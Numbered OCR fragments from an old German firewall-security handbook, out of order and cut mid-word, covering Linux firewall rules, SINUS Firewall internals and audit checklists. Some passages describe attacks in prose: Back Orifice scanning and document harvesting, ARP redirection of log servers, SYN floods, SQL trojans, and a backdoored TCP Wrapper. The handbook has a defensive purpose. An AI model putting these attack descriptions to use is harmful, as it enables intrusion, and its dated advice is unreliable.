276. em m glichen buffer overflow schon bei der bergabe der Schl ssel und Pa worte der Authentifizierung Siehe http www geek girl com Ein weiterer Fall der im Januar 1999 bekannt geworden ist betrifft den TCP Wrapper von Wietse Venema TCPD Dieser wurde von einem unbekannten mit einer Hintert re versehen die schwierig zu entdecken war Man mu te sich von einem spezielle Quellport aus mit dem Wrapper auf einem Server verbinden lassen Damit hatte der unbekannte Zugang zu dem gesamten System Es ist bei der Installation einer Firewall und der Auswahl der Dienste sehr wichtig die Quellcodes stets von einem sicheren Server zu beziehen die Pr fsummen zu verifizieren MD5 und diese dann eigenh ndig zu kompilieren und zu installieren F r die Fernwartung aus dem Intranet heraus ist es zu vertreten da die Dienste FTP und TELNET auf der Firewall aktiviert werden Das erspart je nach Gr e es Hauses einige Laufarbeit Wie oben schon erw hnt binden sich viele Dienste an alle zur Verf gung stehenden Netzwerkkarten Soweit dieses m glich ist sollten alle Dienste an die interne Netzwerkkarte gebunden werden Wie wichtig dies ist zeigt sich u a auch mit dem Proxy 2 0 unter Microsoft Windows NT 4 0 Wie man sieht sind die Probleme allgegenw rtig Sie sind alle zu beheben vorausgesetzt da man die Zusammenh nge versteht Um alle D monen also den tcpd inetd in ftpd und telnetd nach au en hin abzuschirmen ist es notwendig die Fi
277. emadministrator schnellstens informieren m te gesagt getan Lapidare Antwort Das w rde t glich passieren und ich sollte meinen DNS Server so einstellen da die E Mails automatisch abgelehnt w rden Interessanterweise hat aber mein Server genau dieses schon immer getan also die Mail als nicht zustellbar zur ckgesandt nat rlich mit Kopie an Postmaster Es war also insofern alles in Ordnung was die Erstellt von Doc Gonzo http kickme to plugins Konfiguration meines Servers betraf Interessant wurde es jedoch als innerhalb weniger Tage 4 5 Gigabyte E Mails von diesem Elekrogro handel in meinem Postfach lagen Alle waren Sie als nicht zustellbar an den Absender zur ckgegangen und als Kopie an Postmaster in mein Postfach gelegt wurden Heftige Proteste meinerseits an den Systemadministrator via E Mail wurden ignoriert Danach fing ich an zum Spa auf E Mails der Mitarbeiter zu antworten Ich schickte mit meinem korrekten Absender Gr e an Mitarbeiter deren E Mails den Empf nger offensichtlich nicht erreicht hatten Danach tat sich offensichtlich etwas Mich erreichten seltsamerweise die internen Trouble Tickets worin Systemadministrator A eine E Mail an Systemadministrator B schrieb worin er um Hilfe bat den Fall einer nicht zustellbaren E Mail genauer zu untersuchen Warum dieses Trouble Ticket mit der Nummer 1705 mich im Internet erreichte war mir v llig unklar Klar war nur dieses h tte den Konzern nicht verlassen d r
278. en e Alle RPC und unben tigte Dienste sind aus der Datei etc inetd conf zu entfernen Aktive Dienste lassen sich mit netstat a anzeigen e Die Datei etc services sollte durch die mitgelieferte Datei ersetzt werden Die Rechte sollten mit chmod 0644 etc services korrekt gesetzt werden e Als Mailerd mon sei postfix oder qmail emfohlen alternativ eigenen sich auch smap und smapd Von smail und sendmail ist dringend abzuraten e Zur Uberwachung der Firewall auf Veranderungen der Dateien sollte tripwire eingesetzt werden Um die Datenbank der Pr fsummen unver nderbar aufzubewahren kann man diese auf eine mit Minix formatierte Diskette kopieren den Schreibschutz aktivieren und diese dann in ein Verzeichnis mounten Im BIOS Setup sollte dann die Bootsequenz auf C A eingestellt werden e Es sollten folgende Cronjobs aktiviert werden oJe nach Mailerd mon ist die Mailqueue im 10 Minuten Interwall zu leeren osfc start sollte alle 5 Minuten laufen Falls einmal der Firewall D mon abst rzen sollte wird er dann automatisch neu gestartet osfc reconfig flush_all sollte t glich einmal laufen Es l scht h ngende Verbindungen An dieser Stelle sollte man auch die Logfiles komprimieren an den Mailhost versenden oder in ein Ausgangsverzeichnis legen wo es t glich z B von einem NT Server abgeholt wird 15 3 Programmierung der Firewall Die SINUS Firewall wird durch ein einziges Konfigurationsfile gesteuert In diesem Abschnitt sind all
279. en Die Angreifer benutzten gew hnliche Netwerkscanner die gro e Bereiche von den DIAL IN IP Adressen von Providern nach bestimmten Ports abscannten 137 139 Diese Werkzeuge berpr ften auch ob die Festplatte c beschreibbar war oder nicht So gelingt es auch heute noch innerhalb weniger Minuten eine gro e Anzahl von m glichen Opfern mit BO zu infizieren Da die Arbeitsstationen einen Neustart durchf hren m ssen verliert sich deren IP Nummer Deswegen mu der Angreifer die sich neu eingew hlenden Rechner mit einem BO Scanner auf das Vorhandensein von BO erneut scannen Danach kann der Angreifer mit automatisierten Werkzeugen alle doc Dateien aus dem Verzeichnis c eigene_dateien o Auf einen Internet Server kopieren in ASCII umwandeln und nach bestimmten Begriffen durchsuchen z B einem Firmennamen oder typischen Floskeln wie sie im gesch ftlichen Briefverkehr benutzt werden Diese Arbeitsstation schaut sich der Angreifer dann genauer an und versucht auf anderen Laufwerksbuchstaben doc Dateien zu finden Die Wahrscheinlichkeit da ein Angreifer von irgendeiner Firma pl tzlich s mtliche Dokumente des Chefs oder der Sekret rin auf seiner Festplatte hat ist u erst hoch Ein Surfer kann sich nicht mehr in der Anonymit t der unz hligen DIAL IN Netzwerkadressen gro er Provider verstecken Das gro e Problem bei BO ist da es mit 124 KByte relativ unauff llig ist und zudem im Taskmanager nicht erscheint Einige BO Sc
280. en Unter wirtschaftlichen Aspekten gesehen ist die SINUS Firewall mit Abstand die preiswerteste L sung Sie unterliegt der GNU Public License GPL Die SINUS Firewall ist bei allen LINUX Distributionen mit dabei Sie heist hier nur SF und ist im Verzeichnis usr doc packages sf dokumentiert Sie hei t hier zwar SF Firewall ist aber mit der SINUS Firewall identisch Die SF Firewall ist f r Kernel Versionen 2 0 x geschrieben worden und l uft dort u erst stabil Die SF Firewall ist inzwischen zu SINUS Firewall umbenannt worden und inzwischen auf den Kerneln 2 2 x lauff hig Stabil l uft die Version 0 1 f r die Kernel 2 0 x Die Version 0 1 4 f r Kernel 2 2 x ist zwar lauff hig aber noch nicht stabil getestet worden Sowohl die SF Firewall als auch die SINUS Firewall besitzen eine h bsche JAVA Oberfl che Wer sich einmal die wunderbar einfache Benutzeroberfl che der SINUS Firewall anschauen m chte der mag sich im Kapitel Die Benutzeroberfl che der SINUS Firewall umschauen Erstellt von Doc Gonzo http kickme to plugins Abbildung SINUS Firewall Regeleditor 14 1 Leistungs bersicht Statefull Paket Filter SPF Architektur Eingriff bereits in den DATALINK Layer Einfache vollwertige Programmiersprache Unterst tzung f r viele Protokolle counter intelligence F higkeit Dynamische Firewallregeln programmierbar Ausf hrliches logging auditing und alarming Moderne JAVA Benutzeroberflache Skalierbar bis U
281. en bleibt ihm nur noch eines die Aufgabe Solange nicht Server und Client beide ein FIN sich gegenseitig schicken gilt die Verbindung als half close also halb geschlossen Wenn man mit netstat unter UNIX oder Microsoft Windows sich alle momentanen Verbindungen ansieht kann man den Zustand der Verbindungen genau ansehen Unter UNIX gen gt ein PERL Skript um bestimmte Verbindungen gezielt zu schlie en Im Falle da die Verbindung gerade ge ffnet wurde also gerade den SYN SYN ACK hinter sich hat wird dieser Zustand als half open bezeichnet In jedem Falle wird im TCP IP Stack f r jeden Zustand half open close und jede einzelne Verbindung ein Timer gestartet der auch stets Statistiken ber die Qualit t der Verbindungen mitf hrt Ist die Verbindung z B sehr gut weil Client und Server direkt nebeneinander stehen so kann und mu der Timeout heruntergesetzt werden Ein Angreifer k nnte ansonsten den SYN RCVD Buffer fluten und der Server h tte keine M glichkeit mehr weitere Verbindungen anzunehmen syn flood Andererseits w rde ein zu kurzer Timeout den Verbindungsaufbau zu einem weit entfernten Client verhindern Aber auch diese Verfahrensweise birgt Gefahren Was w re wenn ein Client der direkt neben dem Server steht eine langsame Verbindung vort uschen w rde damit der Server den Timeout h her setzt um dann schnell einen SYN Angriff zu starten In dem Fall da der SYN RCVD Buffer gef llt ist sendet die Firewall a
282. en http www kryptocom de KryptoWall e KSR Net Technics GmbH Freiburg http www ksr online de KSR Firewall Systeme e Landis Nettetal Ettlingen http www landis de Secure Computing Raptor e MANDATA System Consult GmbH Krefeld http www mandata de Secure Computing Secure Zone Borderware Borderware Technologies e Microtec Electronic GmbH Bingen http www microtec de Watchguard Firewall e PEM Intercomputing Stuttgart http www pem com Checkpoint Firewall 1 e planNET Systems GmbH bundesweit http www plannet de planNET Security e POP Point of Presence GmbH Hamburg bundesweit http www pop de Firewall Beratung L sungen und Realisierungen e PSP GmbH Hahnst tten http www firewall software de Guardian Firewall e Quantum Software GmbH Dortmund http www quantum de Firewall Service e R2R EDV GmbH Rosenheim http www r2r de FireWall 1 Sonicwall Sunscreen e Secunet GmbH Essen http www secunet de Checkpoint Firewall 1 e Software Symbiose GmbH Bayreuth http www symbiose com Borderware SmartFilter e Spring Infotainment Saarbr cken http www spring de BIGFire TIS Gauntlet e Stepken Unternehmensberatung K ln http www sinusfirewall de LINUX Sinus Firewall Firewall 1 Firewall 1st CISCO PIX e T SYSTEME Hattingen http www systeme de Ukiah NetRoad Firewall e Telemation Netzwerk AG bundesweit europaweit http www telemation de Cisco PIX Firewall e Topol
283. en was nicht ausdr cklich erlaubt ist Der Host mit der IP Nummer INTRA1 kann also sicher surfen Achtung von Sicherheit kann hier noch nicht die Rede sein Was ist wenn ein Host mit einer IP Adresse aus dem Intranet INTRANET von au erhalb Pakete an EXTERNES_INTERFACE sendet Hierzu mu man sich das Regelwerk noch einmal anschauen die Regel 8 ipfwadm O a accept W EXTERNES_INTERFACE S INTRANET Erstellt von Doc Gonzo http kickme to plugins Diese Regel hatten wir eingef hrt damit die Pakete aus dem Intranet aus dem externen Interface in das Internet gelangen k nnen Angreifer aus dem Internet werden ja von der default policy abgelehnt da ja keine der Regeln auf dieses Paket zutreffen w rde Allerdings gibt es eine Ausnahme Pakete die als Quelladresse eine IP Nummer aus dem Intranet besitzen werden von dem externen Interface akzeptiert und weitergeleitet Diese Pakete sind gespoofte Pakete die Cracker synthetisch erzeugen Hierzu m ssen Sie routingtechnisch n her an die Firewall heran um ihren Angriff zu starten Diese M glichkeit gespoofte Pakete in das Intranet senden zu k nnen widerspricht v llig der default policy Diese besagt da alles verboten ist was nicht ausdr cklich erlaubt ist Demnach darf das Netzwerkinterface EXTERNES_INTERFACE entsprechend der Regel 9 keine Pakete annehmen sondern nur aussenden Also gibt es kein Problem Hier ist es Regel 10 besagt da das externe Netzw
284. en wenn man diese Buchstaben trappt und z B falls diese im Logfile erscheinen sofort bevor der Angreifer die Spuren verwischen kann den Server anh lt halt Dann kann man sich post mortem an die Spuren Auswertung machen Hierzu mu man jedoch die Angriffe selber einmal ausprobiert haben Angriffe mit Erstellt von Doc Gonzo http kickme to plugins unbekannten buffer overflows kann man nicht trappen da diese evtl keine auff lligen Spuren in Logfiles hinterlassen Eine Netzwerk berwachung kann aber Aufschl sse dar ber geben wer und wann gr ere Datenmengen wohin geschickt hat ENSkip IPSec gegen buffer overflows UNIX ist ein modulares Betriebssystem jeder Dienst D mon kann abgeschaltet werden Dar ber hinaus erlaubt UNIX die Abschaltung von Protokollen Im Falle von OpenSource Software ist es sogar m glich s mtliche Protokolle aus dem Kernel zu entfernen oder zu ersetzen So lassen sich z B mit Hilfe der Pakete ENSkip oder IPSec der Kernel so aufbauen da er normale Protokolle nicht mehr erkennen kann Hierbei werden nicht einzelne Protokolle sondern s mtliche Datenpakete einer oder aller Netzwerkkarten komplett verschl sselt Der Einsatz eines solchen Systems erfordert keinerlei Eingriffe in die Software um von den starken Authentifizierungsmechanismen profitieren zu k nnen Von Au en ist ein Angreifer auch nicht mehr in der Lage einen buffer overflow auf einem IPSec Server auszuf hren F
285. en Angriffspunkt darstellen wenn z B gets statt fgets auf der einlesenden Seite verwendet wird H ufig werden solche Sicherheitsaspekte bei Hilfsprogrammen nicht beachtet da sie alleine genommen kein Sicherheitsrisiko darstellen 30 3 L sungsm glichkeiten i Bei Skripten mit s bit sind grunds tzlich alle Umgebungsvariablen mit u erster Vorsicht zu behandeln wenn irgendwelche Kommandos oder Pipelines gestartet werden Insbesondere sind PATH und IFS neu zu setzen und alle anderen Umgebungsvariablen sollten in ihrer L nge begrenzt werden Jeder Systemaufruf open und jeder Aufruf von system sollten ganz genau daraufhin untersucht werden inwieweit hier Abh ngigkeiten von den Eingaben eines Angreifers vorliegen Tempor re Dateien sollten in privaten Verzeichnissen angelegt werden die f r niemanden sonst zug nglich sind oder es sollte mit O_EXCL und O_CREAT gearbeitet werden dies empfiehlt sich brigens generell Generell sollte berpr ft werden welche Privilegien tats chlich wie lange notwendig sind 1 Es ist m glicherweise sinnvoll den Proze ggf ab einem bestimmten Zeitpunkt oder einen Kindproze unter einer chroot Umgebung oder unter einer Benutzerberechtigung laufen zu lassen die nur sehr wenig Rechte gibt 2 Ein Proze der mit der Au enwelt in Verbindung steht kann unter sehr restriktiven Bedingungen laufen und alle gef hrlichen Operationen an einen weiteren Proze mit normalen Privilegien Erstell
286. en Regeln 1 Eingehende IMAP Verbindung vom Client zum Server ACK gesetzt auBer im ersten Paket 2 Eingehende IMAP Verbindung vom Server zum Client ACK gesetzt Erstellt von Doc Gonzo http kickme to plugins 3 Ausgehende IMAP Verbindung vom Client zum Server ACK gesetzt au er im ersten Paket 4 Ausgehende IMAP Verbindung vom Server zum Client ACK gesetzt UUCP Mail UUCP dient dem Autausch von Mails Server arbeiten mit Port 540 Clients mit Portnummern Uber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 540 SYN ACK 2 aus TCP 540 gt 1023 ACK 3 aus TCP gt 1023 540 SYN ACK 4 ein TCP 540 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende UUCP Verbindung vom Client zum Server ACK gesetzt auBer im ersten Paket 2 Eingehende UUCP Verbindung vom Server zum Client ACK geseizt 3 Ausgehende UUCP Verbindung vom Client zum Server ACK gesetzt auBer im ersten Paket 4 Ausgehende UUCP Verbindung vom Server zum Client ACK geseizt 18 2 FTP Filetransfer FTP benutzt zwei getrennte TCP Verbindungen eine f r Kommandos zwischen Client und Server sowie deren Ergebnisse diese Verbindung wird meist als Kommandokanal bezeichnet und eine zweite Verbindung auf der Verzeichnislistings und Dateien bertragen werden der Datenkanal Auf der Seite des Servers benutzt der Kommandokanal Port 21 und der Datenkanal gew hnlich Port 20 Der Client verwendet f r Kommando
287. en aus reinen ASCII Zeichenketten die auf 200 Buchstaben L nge begrenzt sind Die Unterscheidung zwischen Logeintrag unddynamischen Firewallregeln findet ber eine besondere Kennung SF_FW_MAGIC statt Der empfangene Host f gt dann die IP Adresse aus dem Logeintrag hinzu und f gt dann die vom trusted host bernommenen dynamischen Firewallregeln zu seinen eigenen hinzu e Dynamische Regeln Eine dynamische Regel besteht aus Zeigern auf Datenstrukturen und dynamisch angelegte Objekte in einem D mon Bevor also eine dynamische Regel gesendet werden kann mu der D mon diese erst aus dem RAM auslesen diese in Listen einordnen mit einer Nummer versehen und erst dann k nnen diese an andere Firewalls bermittelt werden Das Format dieser Struktur ist folgenderma en abgelegt 14 21 SINUS Firewall 1 und der LINUX Kernel Dieser Text beschreibt die notwendigen nderungen im Kernel von Linux das Design der Schnittstelle zum Kernel das Kernel Filter Modul die Funktion des Firewall Daemon und der Firewall Schnittstelle 14 22 bersicht Die Komponenten Erstellt von Doc Gonzo http kickme to plugins Die sf Firewall besteht aus folgenden Komponenten Filter Modul Firewall Damon sfc Userprogramm Firewall Pipe Man beachte die Trennung von Kernel Filter Modul und Firewall Daemon Das Kernel Filter Modul ist ein sogenanntes loadable module welches wahrend der Laufzeit in den Linux Kernel eingef gt wird Es ist von diesem
288. en dann einfach per E Mail oder via HTML POST Befehl in das Internet versandt werden Der Angereifer mu zur Vorbereitung dieses Angriffes einige Informationen zuvor in Erfahrung bringen Diese betreffen z B den Namen der Datenbank und die Namen der Tabellen die man jedoch mit einem einfachen SQL Statement abfragen kann Der Angreifer mu also den Angriff in mindestens zwei Schritten durchf hren Microsoft hat viele Schnittstellen f r einen Zugriff auf Datenbanken geschaffen soda z B das Filtern von Mail nach dem Begriff SQLStmt oder SELECT nicht funktioniert Eine davon ist z B ADO Die kennen Sie nicht Damit spricht man z B ACCESS Datenbanken direkt an Der Wust an Schnittstellen bei Microsoft ist nicht mehr zu berblicken Cracker haben nat rlich hier leichtes Spiel da auch die Security Experten die vielleicht Ihre Firewall aufgesetzt haben nicht mehr Wissen wonach Sie eigentlich suchen m ssen Also k nnen Sie auch keine Filter f r z B E Mail oder den WWW Traffic programmieren Diese Art von trojanischem Pferd k nnte jeder Microsoft Certified Develloper MCSD in wenigen Stunden oder Tagen programmieren 26 2 Angriff auf SUSE LINUX und MySQL Direkt zu Anfang ein haarst ubendes Beispiel welches Sie mit einer ltern SuSE Distribution bis zur Versionsnummer 6 2 selber nachvollziehen k nnen Ein Angriff ber eine SQL Datenbank Import von Datens tzen in MySQL Im Kapitel wurden bereits zum Test die Datens tze
289. en mu Die Filterfunktion benachrichtigt den Kernel schnellstm glich dar ber ob ein Paket erlaubt oder verboten ist Die Filterfunktion f hrt nicht alle Tests in jedem Fall durch Einige k nnen vom Kernel bernommen werden IP_defrag Address Spoofing Das erste Paket eines Hosts wird auf address spoofing hin berpr ft F r den Fall da es nicht vom Loopback Interface stammt aber dort als Quelladresse oder Zieladresse die Loopbak Adresse eingetragen ist wird das Paket verworfen Wenn das Paket von der Firewall selber stammt also eine IP Adresse der Netzwerkinterfaces besitzt oder Quell und Zieladresse eine lokale IP Nummer besitzen ist nur noch der anti spoof test erforderlich Dann kann das Paket passieren und der Filter gibt den Wert SF_RC_ACCEPT zur ck Nun mu in der HASH Queue berpr ft werden ob das Interface internal oder external ist Findet sich kein Wert in der HASH Queue so wird die Funktion sf_inside aufgerufen Sie berpr ft ob die Interface Adresse mit der internalnet Adresse bereinstimmt Das Ergebnis wird in die HASH Queue geschrieben es wird sp ter ausgewertet Wenn ein Paket empfangen wird wird die Quelladresse f r eine berpr fung des Quellcodes herangezogen andernfalls wird die Zieladresse benutzt Wenn die Adressen nicht der Adresse eines Hosts und nicht der des Loopback Interfaces entsprechen m ssen die Paketadressen und Interface Adressen entweder internal oder external sein Wen
290. en wenigen Portscans die Verbindung zu diesem Host sperrt Der Nachteil ist jedoch da die Firewallregeln schlecht berpr fbar sind da stets die counter intelligence Mechanismen aktiv werden und die Sicherheits berpr fung verhindern 17 2 Sicherheitshinweise zur Generierung von Firewallregeln Es gibt im Internet einige Programme PERL Skripte mit HTML Interfaces die entsprechend den Eingaben des Users fertige Regeln f r z B LINUX IPFWADM IPFW IPCHAINS IPFILTER u s w generieren Diese Sites sind nicht speziell gesichert und es besteht stets die M glichkeit da Regeln falsch sind weil der Generator von einem Angreifer ver ndert wurde Auch Hinweise aus NEWSGROUPS Hier meine Konfiguration sind unbedingt auf Korrektheit zu berpr fen 18 bersicht Filterregeln Hier nun eine bersicht ber alle h ufig eingesetzten Protokolle die ACK Bits und Portnummern 18 1 Mail Dienste SMTP DMZ e Mail SMTP ist ein Dienst der auf TCP basiert SMTP Empf nger benutzen Port 25 SMTP Sender benutzen eine beliebige Portnummer ber 1023 Erstellt von Doc Gonzo http kickme to plugins Hier beschrieben ist der Zugriff aus dem Internet auf einen e Mail Server in der DMZ Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 25 SYN ACK 2 aus TCP 25 gt 1023 ACK 3 aus TCP gt 1023 25 SYN ACK 4 ein TCP 25 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende Mail Absender an Empf nger AC
291. enen Level mit Namen im direkten Zugriff Abbildung SINUS Notification Level Editor SINUS Regel Editor Die SINUS Firewall ist programmierbar Man kann z B f r die berwachung von neuen Protokollen bestimmte Regelwerke programmieren und mit dem Editor einfach dann einfach aktiviert werden k nnen Hier sieht man die Beschreibung einer Regel Eine Regel besteht aus der Angabe des Protokolls Mitte der Information was die Firewall damit tun soll links oben der Information der Richtung der Pakete rechts oben verschiedenen Optionen und zum Schlu der Beschreibung dessen was in den Logfiles eingetragen werden soll falls die Regel zutrifft bzw verletzt wird Erstellt von Doc Gonzo http kickme to plugins Teiect ident to firewalls Abbildung SINUS Regel Editor Damit man stets alle Regeln im berblick hat zeigt der Regel Editor alle Regeln noch einmal im berblick mit allen Details Durch einfachen Klick auf die Regel k nnen Sie diese dann ver ndern Erstellt von Doc Gonzo http kickme to plugins Abbildung SINUS Regel Editor SINUS Satan Detektor Die SINUS Firewall besitzt die M glichkeit Scanner an Ihrer Scanweise zu erkennen Wird z B ein bestimmtes Muster erkannt dann wird unverz glich dem Systemadministrator dieser Vorfall mit Angabe des Scannertyps gemeldet Danach kann der Systemadministrator mit Hilfe der Informationen die am Aktivit tsmonitor angezeigt werden entsprec
292. enn keine Netzwerkkarte eingebaut ist Der Grund liegt darin da diese sich ber ein sogenanntes LOOPBACK Interface miteinander unterhalten Dieses LOOPBACK Interface wird mit lo bezeichnet und besitzt die IP Nummern 127 x x x Man kann im Prinzip jede vierstellige IP Nummer angeben hauptsache sie beginnt mit 127 Dieses wurde in den 70er Jahren so definiert Man kann es sich anzeigen lassen wenn man sbin ifconfig a eingibt Uber dieses LOOPBACK Interface findet auch die Kommunikation zwischen X Windows Client und Server statt wenn beide auf demselben UNIX Host gestartet sind Ohne Loopback funktioniert X Windows sonst nicht oder nur ber das Netzwerk Z B ein ping auf die eigene Netzwerkkarte funktioniert ohne aktiviertes LOOPBACK nicht Die Ausgabe des Befehls sbin ifconfig zeigt user01 tunix etc gt sbin ifconfig lo Link encap Local Loopback inet addr 127 0 0 1 Bcast 127 255 255 255 Mask 255 0 0 0 UP BROADCAST LOOPBACK RUNNING MTU 3584 Metric 1 RX packets 349 errors 0 dropped 0 overruns 0 frame 0 TX packets 349 errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ethO Link encap Ethernet HWaddr 00 80 AD 30 B6 CA inet addr 10 0 0 1 Bcast 10 0 0 255 Mask 255 255 255 0 UP BROADCAST RUNNING MULTICAST MTU 1500 Metric 1 RX packets 1250 errors 0 dropped 0 overruns 0 frame 0 TX packets 795 errors 0 dropped 0 overruns 0 carrier 0 collisions 0 Interrupt 10 Base address 0x6600 Man sieht das Loopback Interface lo welches sich au
293. entane Zustand des Systems ermittelt werden Netzwerkverbindungen Logins Prozesse RAM Verbrauch offene Files Ist Manipulation m glich Ver nderung der Binaries durch einen Angreifer K nnen unberechtigte Leseversuche auf Dateien anderer User entdeckt werden K nnen interne Portscans entdeckt werden Absicherung gegen Manipulationsversuche 1 arwn K nnen Logfiles von Hosts innerhalb des Netzwerkes ver ndert erg nzt oder manipuliert werden Zugriff auf den SYSLOGD Kann die Aufzeichnung des Logservers durch DoS unterbrochen werden Exisitert eine redundante Uberwachung K nnen Log Dateien im Falle eines Einbruchs gel scht werden Welche Kernel Security Level sind aktiviert Erstellt von Doc Gonzo http kickme to plugins OND Werden regelm ig nichtl schbare Backups von Logs erstellt Kann die Systemzeit von au en ver ndert werden Hat dies Auswirkungen auf die Auswertung der Logfiles Wie wird die Authentizit t von Meldungen des Servers an den Systemadministrator gesichert 10 K nnen Binaries ver ndert werden Wie wird dies berpr ft 11 Kann ein Systemadministrator seinem Nachfolger trojanische Pferde hinterlassen 12 Welche Ver nderungen auf dem Server k nnen nicht bemerkt kontrolliert werden Protokolle und Dienste DRN son Welche Dienste sind aktiviert ber welche Dienste kann welcher User welche Dateien einsehen Welche Ubertragungsprotokolle we
294. enverkehr auf sich selbst umzulenken Dadurch kann diese Maschine sich f r einen anderen Host ausgeben oder Datenstr me selbst modifizieren Insofern ist ARP nur sicher solange ausschlie lich vertrauensw rdige Maschinen auf dem lokalen Datennetz senden k nnen Um solche Attacken zu vereiteln k nnen zum Beispiel ARP Tabellen fixiert und das automatische Ablaufen von ARP unterbunden werden Ist ein Anfreifer erst einmal in ein Unternehmen vorgedrungen so gilt es schnellstm glich den Logserver au er Betrieb zu setzen Er wird mit Sicherheit zuerst durch ARP Manipulationen den Log Server oder die Firewall dazu bringen seine Logfiles nicht mehr an den urspr nglichen Logserver zu versenden sondern z B an sich selber einen Server im Internet oder irgendeinen anderen Server im Netz In diesem Falle w rden wichtige Informationen z B ber Einbr che nicht an einen LOG Server oder E Mail Server sondern an sich selber gesendet wenn der ARP Cache der Firewall diese Manipulation 2 IP Nummern 2 MAC Adressen nicht erkennt Das ist leider noch bei vielen Betriebssystemen die Router oder Firewalls tragen der Fall Auf diese Art und Weise werden besonders wichtige Server eines Unternehmens stillgelegt ohne auch nur die geringsten Zugriffberechtigungen auf diesem Server gehabt zu haben Insbesondere bei Windows NT 4 0 ist der Befehl arp zwar vorhanden und dokumentiert jedoch nicht im Betriebssystem korrekt implementiert Es ist also schon
295. ept keinerlei Erstellt von Doc Gonzo http kickme to plugins Sicherheitsbarrieren bzw Kontrollm glichkeit des Traffics innerhalb des weltweiten Netzwerkes aufwies Ich wendete mich also im Februar telefonisch an den Adressaten in der K Bank einem EDV Leiter der mich darum bat schnellstm glich ihm dieses Dokument PGP verschl sselt zuzumailen Ich wies ihn freundlich darauf hin da dieses Dokument bereits mehrfach unverschl sselt durch das Internet versandt worden sei und da ich PGP nicht verwende Ich sendete ihm also das Dokument und habe bis heute auch keinerlei E Mails mehr von Firma Sehnix erhalten Es gab zwar in der Zwischenzeit nur einen panischen Anruf bei welchem mich ein Systemadministrator von Sehnix dringend darum bat eine versehentlich an meine Domain versandte h chst vertrauliche Mail zu l schen was ich ihm auch versprach allerdings wei ich bis heute nicht welche Mail er gemeint haben k nnte An diesem Tag jedenfalls habe ich keinerlei fehlgeleiteten E Mails von Firma Sehnix erhalten 36 2 Sicherheit der PIN CODES von Chipkarten W hrend ich so in einem IRC Channel den Gesp chen lausche werde ich auf einen Kerl aufmerksam der Passworte zu Server von Universit ten tauschen m chte Ich frage ihn was er so anzubieten h tte Er offeriert mir kostenlos eine Passwortdatei mit Passworten an einem Server der UNIVERSITAT Tokyo Mir kommt das etwas unglaublich vor Ich suche mir aus der Liste von 500 Pa
296. eptiert wenn ein SYN Paket aus dem Intranet zu dem Host im Internet bertragen wurde Die Firewall merkt sich diese Adresse und erlaubt dann den Partnern weiterhin Pakete untereinander auszutauschen Kurz gesagt die Firewall ffnet die Ports nur dann wenn jemand aus dem Intranet surfen m chte Genau das war das Ziel Nun werden noch Regeln f r Browser hinzugef gt Erlaube HTTPS und PROXY ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 443 8080 3128 D INTRANET UNPRIVPORTS Hier wird die bertragung von Ports 443 und 8080 aus dem Internet zu einem Client im Intranet zugelassen Auch hier mu die Verbindung von innen initiiert worden sein k Die Schreibweise ist nun so da mehrere Ports hintereinander angeben werden k nnen das IPFWADM Toolkit interpretiert dieses korrekt Ports 443 werden f r die sichere bertragung von Daten ber das Internet verwendet Der Schl ssel links unten im Browser schlie t sich was aber nicht bedeutet da die Daten z B Kreditkartennummern am Zielort auch sicher aufgehoben sind Port 8080 und 3128 sind gebr uchliche Ports f r HTTP PROXY CACHES die viele Seiten aus dem Internet zwischen gespeichert haben und somit f r eine beschleunigte bertragung sorgen Wer z B mit ISDN surft sollte nur ber Profis surfen Es verhindert Angriffe auf den TCP IP Stack von Microsoft Betriebssystemen Au erdem geht es schneller und der Provider spart Kosten ein Bei der Angabe d
297. er berwacht und auch glaubhaft machen kann da die Sicherheitsvorkehrungen auch ausreichend sind Im Gegensatz zu fast allen anderen Sites wird auch ausf hrlich beschrieben wie der Server abgesichert wurde und mit welchen Werkzeugen dies geschehen ist Dabei kommt es entscheidend darauf an ob der Systemadministrator nachweisen kann da alle wichtigen Untersuchungen buffer overflow auch stattgefunden haben und mehrfache Sicherheitsabsicherungen chroot chuid installiert sind Allein die Angabe da z B Windows NT und Firewall 1 im Einsatz sind ist v llig unzureichend und grob irref hrend Der DFN CERT verf gte ber lange Zeit nur ber einen modifizierten CERN HTTPD Server unter FreeBSD und einen einfachen PAKETFILTER DRAWBRIDGE Dieser kostenlose und relativ einfache dynamische Packetfilter hat unz hligen Angriffen standgehalten Der Hauptgrund f r die Sicherheit lag einfach darin da die Security Policy konsequent umgesetzt und auch strikt befolgt wurde 24 1 Analyse eines Programmes aus dem Internet Um einfach mal zu zeigen wie auch ein v llig unerfahrener Administrator ein vermutlich trojanisches Pferd entdecken kann sei hier in kleinen Schritten beschrieben wie man z B NEOPLANET einem Aufsatz auf den Internet Explorer die kleinen Schweinereien seiner Programmierer entlocken kann NEOPLANET sei nun ein vermutlich trojanisches Pferd ein Kommentar von Neoplanet selber findet sich im Anschluss Das Verfahre
298. er andere Sicherheitsl cken 18 Aussp hen der Daten bei der bertragung ber das Netzwerk ACCESS 19 Zugriff mit gespoofter IP nach der Pa wort Authentifizierung oe NND PWM gt Die Probleme sind hier unterschiedlicher Natur und von System zu System verschieden Hier weitere Erl uterungen zu den obigen Punkten 1 Denial of Service durch zu viele Abfragen pro Sekunde treten h ufig bei Internet Datenbanken auf Datenbanken sind recht schnell wenn keine Schreibzugriffe stattfinden das weit gr ere Problem sind aber die Interfaces allen voran CGI BIN s oder ASP s f r die Ausgabe auf WWW Browser Eine besonderes Problem tritt z B bei dem IIS Server unter Windows NT 4 0 auf der bei der Eingabe von https anstelle von http durch die CPU fressende Verschl sselung bei vielen simultanen Abfragen schnell zum Erliegen kommt 2 Denial of Service durch zu komplexe Abfragen tritt relativ h ufig auf Wer schon einmal in den gro en Suchmaschinen nach Begriffen gesucht hat die garantiert nicht enthalten sind wird feststellen da die Suchanfrage viel L nger dauert als wenn ein g ngiger Begriff recherchiert werden soll Wenn mehrere dieser Begriffe noch durch ODER verkn pft werden dann kann es passieren da die Datenbank schon mit einer Anfrage Minuten besch ftigt ist 3 Denial of Service durch fehlerhafte Statements ist weit komplexer als man vielleicht ahnen kann Hinter jeder Datenbank stecken recht viele M glichkei
